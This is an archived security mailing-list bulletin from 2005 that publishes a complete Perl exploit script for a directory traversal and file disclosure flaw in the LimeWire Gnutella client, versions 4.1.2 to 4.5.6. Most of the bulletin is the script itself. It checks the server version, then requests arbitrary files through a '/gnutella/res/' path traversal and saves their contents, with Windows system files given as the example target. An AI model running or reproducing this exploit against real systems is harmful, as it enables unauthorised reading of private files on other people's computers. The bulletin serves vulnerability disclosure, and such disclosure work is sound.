[EXPL] LimeWire File Disclosure Exploit

• Previous message: SecuriTeam: "[NEWS] Netcomm 1300NB DSL Modem DoS"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 28 Mar 2005 10:12:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  LimeWire File Disclosure Exploit
------------------------------------------------------------------------

SUMMARY

This script exploits recently reported vulnerability in LimeWire Gnutella
client, <http://www.securiteam.com/securitynews/5AP0A20F6U.html> LimeWire
Gnutella Client Directory Traversal and File Disclosure. The script allows
fetching text files from system running vulnerable versions of LimeWire.

DETAILS

Vulnerable Systems:
 * LimeWire versions 4.1.2 up to version 4.5.6

#!/usr/bin/perl
#
# This is just a quick and dirty script to grab textfiles. Doesn't work on
binaries.
#
# Note: Using this code to 'hack' LimeWire clients other than your own is
illegal and should NOT be done!
#
# (c)2005 Marco van Berkum

use IO::Socket;

if(!$ARGV[2] || $ARGV[1] !~ /\\/) {
 die "Usage: ./limehack.pl host \"file you want\" outputfile
[nondefaultport if needed]\n\nExample: ./limehack.pl 127.0.0.1
\"C:\\Windows\\win.ini\" win.ini \(don\'t forget the quotes\)\nUse the
silly DOS way when requesting files with spaces, Progra~1 etc..\n\n";
}

$host = $ARGV[0];
$file = $ARGV[1];
$outputfile = $ARGV[2];
$port = $ARGV[3];
$readtimeout = "15"; # set longer for big files

if(!$port) { $port = 6346; }

# open sock
my $sock = new IO::Socket::INET (PeerAddr => $host, PeerPort => $port,
Proto => 'tcp', Timeout => '5') || die "Connection refused\n";

# wheee socket;
if($sock) {
 print $sock "HEAD ?\n\n";
 sleep(5);
 sysread($sock, $buff, 1000);
 close($sock);
}

($temp, $server, $temp) = split(/Request|Content-Type/,$buff);
undef($buff);
($temp, $version) = split(/Server: /,$server);
chomp($version);

if($version =~ /limewire/i) {
 ($temp, $versionnodots) = split(/\//,$version);
 $versionnodots =~ s/\.//g;
 if($versionnodots >= 412 && $versionnodots <= 456) {
 print("Vulnerable LimeWire!\n");
 } else { die "Not a vulnerable LimeWire server \:\(\n"; }

} else { die "Not a LimeWire server!\n" }

print "Requesting file: $file.....\n";
my $sock = new IO::Socket::INET (PeerAddr => $host, PeerPort => $port,
Proto => 'tcp', Timeout => '5') || die "Connection refused, host died?\n";

# wheee socket;
if($sock) {
 print $sock "GET /gnutella/res/$file HTTP/1.1\n\n";

 sleep($readtimeout);
 sysread($sock, $buff, 9999999);
}

if($buff =~ /200 OK/) {
 print "\nGot it!\nYou hacked!!!\n";
 print "The file is saved as $outputfile!\n";
 ($temp, $data) = split(/Content-Length:.*/,$buff);
 $data =~ s/^\n//g;
 open FILE, ">$outputfile";
 print FILE "$data";
 close FILE;
} else {
print "File not found!\n";
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:marco@jammerjoh.xs4all.nl>
Marco van Berkum.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[NEWS] Netcomm 1300NB DSL Modem DoS"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]